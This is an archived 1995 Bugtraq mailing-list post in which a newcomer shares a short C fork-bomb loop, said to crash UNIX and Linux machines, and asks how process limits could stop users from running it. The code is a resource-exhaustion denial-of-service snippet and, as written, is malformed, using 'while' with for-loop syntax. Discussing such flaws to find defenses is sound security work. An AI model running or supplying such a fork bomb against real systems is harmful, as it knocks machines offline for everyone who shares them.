[2440] in bugtraq

home help back first fref pref prev next nref lref last post

fork()

daemon@ATHENA.MIT.EDU (Alex Leipold)
Mon Dec 11 04:50:29 1995

Date:         Sun, 10 Dec 1995 10:45:37 -0500
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Alex Leipold <aleipold@clark.net>
X-To:         bugtraq@CRIMELAB.COM
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>

O'm new to the list, so Im not sure if this has been covered, but someone
can crash any system with a few lines of code. (tested on UNIX, LINUX)

main() {
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}

Gcc it, run it and whatever system your on will crash. Is their any way
to stop users from doing this? I.e. restricting number of process that
can run?

home help back first fref pref prev next nref lref last post